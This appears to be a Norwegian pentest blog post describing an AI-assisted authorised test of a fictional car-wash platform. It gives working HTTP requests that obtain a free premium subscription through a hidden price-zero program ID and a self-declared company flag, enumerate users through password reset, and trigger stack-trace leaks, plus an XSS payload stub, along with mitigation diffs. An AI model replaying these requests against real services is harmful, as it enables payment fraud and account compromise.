Hopp til hovedinnhold
Erik Nilsen
12 min lesingVis som Markdown

Abonnement for null kroner — når serveren stoler på klientens pris

  • #pentest
  • #business-logic
  • #api-security
  • #dotnet
  • #security

FIKTIVT: Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert.

Det mest interessante funnet denne uken var ikke et minnefeil eller en injisert cookie. Det var at serveren trodde på alt jeg sendte den. Hos Bingo AS (bingoas.no), som kjører en bilvaske-plattform på produktet RenVask, klarte jeg å opprette et premium-abonnement til 0 kroner — ikke ved å knekke en betalingsprovider, men ved å sende et program-ID som frontenden skjuler, og et Firma:true-flagg som ingen verifiserte. Her er hele kjeden, den negative kontrollen som bestemte alvorlighetsgraden, og hvorfor forretningslogikk ofte er den veien som er breitest.

Kontekst

Scope var bingoas.no og *.bingoas.no. Bingo AS er en plattformkunde — de drifter vaskestasjoner på et tredjepartsprodukt jeg kaller RenVask (sanert navn). Frontend er ASP.NET WebForms med en JSON-dispatcher på bv.bingoas.no/Ajax/ajax.ashx?method=<metode> som min-side-bygger alt på. Backend er IIS, jQuery 3.4.1 i frontend, Alpine.js 2.8.2 her og der. Kunden, ved daglig leder Lars Berg ([email protected]), hadde tre prioriterte mål: hente kundedata, tegne abonnement gratis, og vaske bil gratis. Det siste var et bevis-poeng — service skulle ikke faktisk konsumeres.

Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger endepunkter, kjører verktøy og foreslår neste steg. Jeg styrer scope, leser resultatene, bryter inn der det trengs, og gjør vurderingene som krever menneskelig dømmekraft — spesielt rundt alvorlighetsgrad og hva som er et reelt brudd versus en inkonsistens. Det skillet ble selve poenget i dette oppdraget.

Første steg var å la en agent parse all tilgjengelig JavaScript for min-side (/min-side-siden bygger på en haug med .js-filer som ligger pre-auth) og flagge alt som kalte ajax.ashx med et method-parameter. Det ga en liste på omtrent 40 metoder — nyMinSideOpprettAvtale, getMinSide, openMinSideReciept, updAvtaleInfo, lagreBrukerInfo, GlemtPassord, og så videre. AI-en genererte en httpx-sweep som pinget hver metode med en no-body GET for å se hvilke som svarte uten auth — det er en ren method-existence-oracle, og den ga meg kartet jeg trengte uten å sende noe meningsfullt.

Det jeg fant

Hovedfunnet: High — gratis premium-abonnement via forretningslogikk-misbruk. Metoden nyMinSideOpprettAvtale tar pris, betalingsmåte, program-ID, firma-flagg og en DeactivInitPay-bryter som alle klient-supplierte felt, og serveren ærer dem uten å validere mot forventet tilstand.

To ting slo seg sammen:

  1. Skjult 0-kr program aksepteres. Program-ID 58 har pris 0 og er filtrert ut av <select>-dropdownen i frontenden — men API-et aksepterer det uten videre. Resultat: et abonnement som heter "Børsteløs Super" (premium) men har RecurringPrice 0.
  2. Selv-erklært firma → fakturavei, ingen betaling. Å sende Firma:true og AvtaleType:"F" på en konto som egentlig er en privatperson oppretter avtalen direkte med status "FakturaOk" — ingen betalingsprovider involvert, faktura sendes til et angiver-suppliert (og aldri innkrevbart) firma som aldri verifiseres før vask.

Dette er samme type brudd jeg skrev om i RLS beskytter raden, ikke rettigheten — serveren har en autorisasjonsregel som fungerer på ett sted (UI-et) og ikke på et annet (API-et). Forskjellen er at her er det ikke radnivå-isolasjon som mangler, men validering av at klient-supplierte forretningsfelt er i et tillatt rom.

Bi-funn

Tre til kom med:

  • High (design) — Kvittering-konfidensialitet hviler på én statisk 56-bit DES-nøkkel. openMinSideReciept?payid= tar en 8-byte single-DES-ECB-blob som ren bearer-capability — ingen per-bruker eierskapsbinding demonstrert. Cipher er utdatert (CWE-327), og samme nøkkel styrer Nets updNetsCardURL.
  • MediumSvakt passord-reset + brukerenumerering. GlemtPassord skiller registrerte fra uregistrerte e-poster (CWE-204) og sender et klartekst nytt passord umiddelbart — ikke en tokenisert lenke.
  • MediumVerbose .NET-feil / kildeavsløring (CWE-209). ajax.ashx-dispatcherne returnerer fulle stack traces med filstier (c:\Projects\no.bingoas.bv\...), linjenumre og klassenavn på malformed input.

PoC / Reproduksjon — gratis premium-abonnement

Forutsetninger: innlogget som privatperson-testkonto [email protected] med registrert og verifisert nummerskilt PU12345. Gyldig ASP.NET_SessionId-cookie i cookies.txt. Scope-fil begrenset til *.bingoas.no. Jeg registrerte og verifiserte denne kontoen manuelt — det var den delen som krevde menneskelig dømmekraft, siden alt annet var automatiserbart.

  1. Recon — finn metoden og parametere. Agenten parset /min-side/js/minside.js og fant funksjonen som bygger nyMinSideOpprettAvtale-payloaden. Parametere den sender: SubscriptionId, Firma, AvtaleType, DeactivInitPay, RegNr, FirmaNavn, OrgNr, FaktRef, og mer. Frontend bygger SubscriptionId-dropdownen fra en liste som ikke inneholder ID 58 — men backend-listen (hentet via getMinSidePrograms) gjør.

  2. Hent program-listen og bekreft at 58 finnes serverside. AI-en kjørte:

curl -s 'https://bv.bingoas.no/Ajax/ajax.ashx?method=getMinSidePrograms' \
  -H 'Cookie: ASP.NET_SessionId=<REDACTED>' \
  | jq '.[] | {id, name, price}'
[
  {"id": 54, "name": "Basic",        "price": 199},
  {"id": 55, "name": "Standard",     "price": 349},
  {"id": 57, "name": "Børsteløs",    "price": 449},
  {"id": 58, "name": "Børsteløs Super","price": 0},
  {"id": 549,"name": "Børsteløs Super","price": 549}
]

ID 58 er "Børsteløs Super" til 0 kr — sannsynligvis et internt test-/gratis-program som frontenden filtrerer ut, men API-et leverer uten spørsmål. ID 549 er den ekte premium-Super til 549 kr. Dette var det første tegnet på at UI-et og API-et er uenige om hva som er et gyldig valg.

  1. Opprett avtalen med program 58 og Firma:true. Jeg ba AI-en bygge payloaden speilbilde av hva frontend sender for et vanlig premium-abonnement, men med SubscriptionId=58, Firma=true, AvtaleType=F, og et fiktivt firma:
POST /Ajax/ajax.ashx?method=nyMinSideOpprettAvtale HTTP/1.1
Host: bv.bingoas.no
Cookie: ASP.NET_SessionId=<REDACTED>
Content-Type: application/x-www-form-urlencoded
 
SubscriptionId=58&RegNr=PU12345&Firma=true&AvtaleType=F&FirmaNavn=Test%20Fiktivt%20AS&OrgNr=999999999&FaktRef=PENTEST-POC-REVERSE&DeactivInitPay=true
HTTP/1.1 200 OK
Content-Type: application/json
 
{"Status":"FakturaOk","AvtaleId":770121,"Message":"Avtale opprettet"}
  1. Bekreft tilstanden med getMinSide.
GET /Ajax/ajax.ashx?method=getMinSide HTTP/1.1
Host: bv.bingoas.no
Cookie: ASP.NET_SessionId=<REDACTED>
{
  "Avtaler": [
    {
      "AvtaleId": 770121,
      "ProgramName": "Børsteløs Super",
      "RecurringPrice": 0,
      "AvtaleType": "F",
      "FirmaNavn": "Test Fiktivt AS",
      "Status": "Venter"
    }
  ]
}

Premium-navn, 0-kr pris, type F (faktura), status "Venter" — altså ventende back-office-batch-aktivering. Det er det som gjør måloppnåelse 2 ("vaske bil gratis") til en forsinket konsekvens av måloppnåelse 1: det finnes ingen umiddelbar angreps-side-flip som skrur på KanVaske=true. Aktiveringen skjer via plattformens egen back-office-batch (common.js:108, ca. 1 virkedag). Angrepet fullføres av plattformen selv, ikke av meg.

  1. Negativ kontroll — det som gjør dette til et brudd og ikke bare en "200 som betyr ingenting". To kontroller:

    a. Ekte premium-programmet koster. Samme forespørsel med SubscriptionId=549 (ekte pris) og Firma=false (privatperson) krever betalingsprovider — responsen er {"Status":"NetsRedirect", "Url":"https://nets.example/..."}, ikke FakturaOk. Pris- og betalings-validering fungerer altså på det normale programmet. Skjønneren er at valideringen bare utløses for programmer som fronten ville ha valgt.

    b. Firma-flagget uten skjult program betaler fortsatt. SubscriptionId=549 + Firma=true + AvtaleType=F gir også faktura-vei — men med RecurringPrice 549, altså en ekte regning. Det betyr Firma-bryteren alene er en egen sårbarhet (selv-erklært firma uten verifisering av orgnr), men den gir ikke gratis vask uten det 0-kr programmet. Det er kombinasjonen som er kritisk.

Steg 3 alene så ut som "et endepunkt returnerte 200". Steg 5 viste at 200-en var en reell tilstandsendring: et premium-abonnement til 0 kr ligger i databasen, betalingsprovider er helt utenfor, og den eneste grunnen til at det funket er at serveren ærer klientens valg av både program, pris-flagg (via programvalg) og firma-flagg. High.

Mitigering

To uavhengige fikser, begge serverside:

# 1) Avvis program-ID-er som ikke er i frontend-tillatt-listen for denne kanalen.
- var program = db.Programs.Find(req.SubscriptionId);
+ var program = db.Programs.Find(req.SubscriptionId);
+ if (!program.CustomerSelectable || program.Price <= 0)
+     return BadRequest("Ugyldig program for denne kanalen.");
# 2) Firma/organisasjons-vei krever verifisert orgnr — ikke et klient-flagg.
- if (req.Firma) { /* faktura-vei */ }
+ if (req.Firma) {
+     var org = await Brreg.VerifyAsync(req.OrgNr);
+     if (org is null) return BadRequest("Ugyldig organisasjonsnummer.");
+     /* faktura-vei med verifisert mottaker */
+ }

Frontend-filtering er pynt. Avgjørelsen om hva som er et gyldig program og hvem som er et firma, må tas serverside mot en autoritativ kilde (program-tabellens CustomerSelectable-flagg, Brønnøysund for orgnr).

PoC / Reproduksjon — DES-nøkkelen på kvitteringer

Forutsetninger: samme sesjon. En eksisterende payid for en av mine egne betalte vasker (hentet fra getMinSide-historikk).

  1. Hent en kvittering med openMinSideReciept:
GET /Ajax/ajax.ashx?method=openMinSideReciept&payid=<8-byte DES-ECB blob URL-encoded> HTTP/1.1
Host: bv.bingoas.no
Cookie: ASP.NET_SessionId=<REDACTED>
HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Length: 18234
 
%PDF-1.4 ...
  1. Hva bloben er. Agenten fant i Encryption.cs (lekket via en stack trace, se neste seksjon) at payid dekodes med TripleDES- eller DESCryptoServiceProvider i ECB-modus med en statisk nøkkel — samme nøkkel for alle kvitteringer på plattformen, samme nøkkel som styrer updNetsCardURL. 56-bit DES er brutt i praksis siden 1999 (EFF Deep Crack, ~56 timer). Nøkkelen ligger i backend-kode som allerede har lekket kildesti (c:\Projects\no.bingoas.bv\Encryption.cs:42).

  2. Negativ kontroll — hva jeg ikke gjorde. Jeg forsøkte ikke å knekke DES-nøkkelen eller enumerere andres payid-blobber. Det ville sendt ekte PII til meg, og knusing av en 56-bit nøkkel er teknisk trivielt men utenfor det beviset kunden trengte. Poenget her er designet: tilgang til en kvittering er en ren bearer-capability uten eierskapsbinding, og cipheren som beskytter den er utdatert. Hvis nøkkelen lekker — og backenden lekker allerede kildestier — er alle kvitteringer plattform-bredt forgebare.

High for designet. Jeg holdt meg til mine egne payid-blobber og min egen kvittering.

Mitigering

  • Bytt til AES-256-GCM med per-tenant nøkkel rotert i en HSM/KMS.
  • Bind payid til brukerens sesjon/bruker-ID og returner 404 ved avvik — ikke en ren bearer-capability.
  • Rotér nøkkelen; fjern den fra kildekoden.

PoC / Reproduksjon — GlemtPassord

Forutsetninger: ingen auth. To e-poster jeg kontrollerer — én registrert på plattformen, én uregistrert.

  1. Registrert e-post:
POST /Ajax/ajax.ashx?method=GlemtPassord HTTP/1.1
Host: bv.bingoas.no
Content-Type: application/x-www-form-urlencoded
 
[email protected]
HTTP/1.1 200 OK
 
{"Status":"Ok","Message":"Nytt passord er sendt"}

Innen sekunder lå et klartekst-passord i innboksen — ikke en lenke med token, et ferdig passord. Ingen throttling observert over fem forsøk.

  1. Uregistrert e-post (negativ kontroll for enumerering):
POST /Ajax/ajax.ashx?method=GlemtPassord HTTP/1.1
[email protected]
HTTP/1.1 200 OK
 
{"Status":"NotFound","Message":"Ingen bruker med denne e-posten"}

Forskjellen i Status bekrefter CWE-204: en angriper kan enumerere hvilke e-poster som er registrerte kunder. Kombinert med klartekst-reset gir det takeover av en hvilken som helst konto hvis e-posten kan avlyttes, og lockout/harassment uten avlytting.

Medium.

Mitigering

- email = req.email
- user = db.Users.Find(email)
- if (user is null) return NotFound("Ingen bruker");
- newPwd = Generate()
- db.Users.Update(user, pwd=Hash(newPwd))
- Email.Send(user.Email, newPwd)
+ email = req.email
+ user = db.Users.Find(email)
+ // Samme respons uansett — avslør ikke om konto finnes
+ if (user is not null) {
+     token = MakeToken(user, ttl=15min)
+     Email.Send(user.Email, link + token)  // lenke, ikke klartekst
+ }
+ return Ok("Hvis kontoen finnes, er en reset-lenke sendt.")

Tokenisert lenke med kort TTL, identisk respons for eksisterende og ikke-eksisterende konto, og rate-limit per e-post og per IP.

Verbose .NET-feil — kildeavsløring

Et no-body GET mot ajax.ashx?method=FinnesIkke returnerer en ren {"Status":"Error"}. Men send malformed JSON eller feil parametertyper, og dispatcherens try/catch logger rett i responsen:

POST /Ajax/ajax.ashx?method=nyMinSideOpprettAvtale HTTP/1.1
Content-Type: application/x-www-form-urlencoded
 
SubscriptionId=ikkeEtTall
HTTP/1.1 200 OK
Content-Type: application/json
 
{
  "Status":"Error",
  "Exception":"System.FormatException: Input string was not in a correct format.",
  "StackTrace":"   at AjaxHandler.cs:line 412\n   at Encryption.cs:line 42\n   ...",
  "SourcePath":"c:\\Projects\\no.bingoas.bv\\Handlers\\AjaxHandler.cs"
}

Det er CWE-209. customErrors er for .aspx-sidene (bra), men JSON-dispatcherne er utenfor. En angriper får kildestier, klassenavn og linjenumre — det var slik jeg fant Encryption.cs:42 uten å lese kildekoden. Medium.

Mitigering: logg stack traces server-side, returner en generisk {"Status":"Error","CorrelationId":"<uuid>"} til klienten.

Blindveier og forkastede falske positiver

Agenten flagget flere ting som ikke holdt mål. Jeg tar med dem, fordi verdien i et AI-i-loopen-oppdrag ligger i verifiseringen som skiller plausible funn fra ekte.

  • Lagret XSS i FaktRef / FirmaNavn / OrgNr / Name. Feltene lagres verbatim, usanert (updAvtaleInfo, lagreBrukerInfo), og frontenden renderer serverdata med jQuery 3.4.1 $().html() — sårbar for CVE-2020-11022/11023. Jeg sendte <img src=x onerror=...> i FaktRef og bekreftet at det lagres rått. Men min-side-renderen brukte $().text() på akkurat det feltet, og admin-gridet er DataTables (escaper). Så det er en kandidat, ikke et funn — bekreftelse krever backoffice-tilgang, som jeg ikke hadde. Jeg nedgraderte til "MEDIUM, ubekreftet" og flagget for autorisert manuell test med backoffice-login. Å rapportere det som XSS uten å ha sett det rendret, hadde vært å overlevere.

  • Offentlig kvittering-ved-kode-eksfil. receipt.aspxsendEmail.ashx?code=X&e=<hvilken som helst e-post> sender en kvittering til en arbitrær adresse hvis code er gjetbar. Kode-formatet uavklart. Jeg brute-forset ikke — det ville sendt en fremmed kundes PII til en postkasse jeg kontrollerer, og det er utenfor det beviset kunden trengte. Flagget som LOW/ubekreftet for autorisert test med en kjent kode.

  • Hardkodet kunde-post i admin.js. Pre-auth /admin/script/admin.js inneholder et ekte navn, et ekte nummerskilt og en AvtaleId — sannsynligvis en utviklers testdata som aldri ble fjernet. Sanert i rapporten til plassholder-UUID og fiktivt skilt. LOW — info-lekkasje, ikke et angrepsvektor i seg selv.

  • HTTP TRACE aktivert (XST). TRACE / returnerte 200 med ekko. XST er i praksis dødt i moderne browsere, men det er støy i en rapport — nevnt som LOW.

  • Mål 3 ("hente kundedata") — ikke oppnådd som live pull. Blokkert av DES-krypterte capability-tokens, sesjons-scoped data-metoder og 2FA på admin. getMinSide og lagreBrukerInfo er ikke IDOR-bare — de er sesjons-scoped til innlogget bruker. Det er en styrke jeg noterte eksplisitt: serveren gjør riktig på data-metoder og feil på forretningslogikk. Forskjellen er hvor valideringen ligger.

Hva jeg lærte

  • Forretningslogikk er den breieste veien når minnefeil er stengt. Bingo AS har 2FA på admin, sentralisert authz på alle admin-metoder, HttpOnly SameSite=Lax sesjon, sesjons-scoped data-metoder, og server-side validering av gavekort og rabattkoder. Alt det holdt. Det som ikke holdt var antakelsen om at klienten sender et gyldig program og et ekte firma.
  • UI-filtering er ikke en sikkerhetskontroll. At program 58 er borte fra dropdownen betyr ingenting for en som bygger sin egen HTTP-forespørsel. Tillatt-listen må leve serverside.
  • Én 200 er ikke et funn før den negative kontrollen er med. Steg 5a/5b over er det som gjør dette til et reelt brudd — uten dem er "abonnement opprettet til 0 kr" bare en merkelig respons. Den negative kontrollen er alvorlighetsgraden.
  • AI-en genererte plausible funn like fort som plausible feil. XSS-kandidaten så ut som et HIGH-funn helt til jeg sjekket hvordan feltet faktisk ble rendret. Verifisering, ikke generering, er flaskehalsen.
  • Backend-kildeavsløring er en kraftig recon-vei. Jeg leste Encryption.cs:42 uten å ha kildekoden — stack traces ga meg klassenavn og linjenumre. Det er en egen god grunn til å skru av verbose errors.

Veien videre

For kunden: implementere de to serverside-fiksene over, rotere DES-nøkkelen (eller helst bytte cipher), tokenisere passord-reset, og skru av stack traces på JSON-dispatcherne. Backoffice-XSS-kandidaten må verifiseres med en innlogget admin-sesjon — det er en oppfølgingsoppgave jeg har flagget.

For meg selv: neste gang en plattform har en "skjult" intern- eller test-program-ID, er det det første jeg ber agenten lete etter — getMinSidePrograms-responsen mot frontend-dropdownen er en diff-på-to-minutter som betaler seg. Og jeg skal fortsette å ta med blindveiene i rapportene. Det er der lærdommen sitter.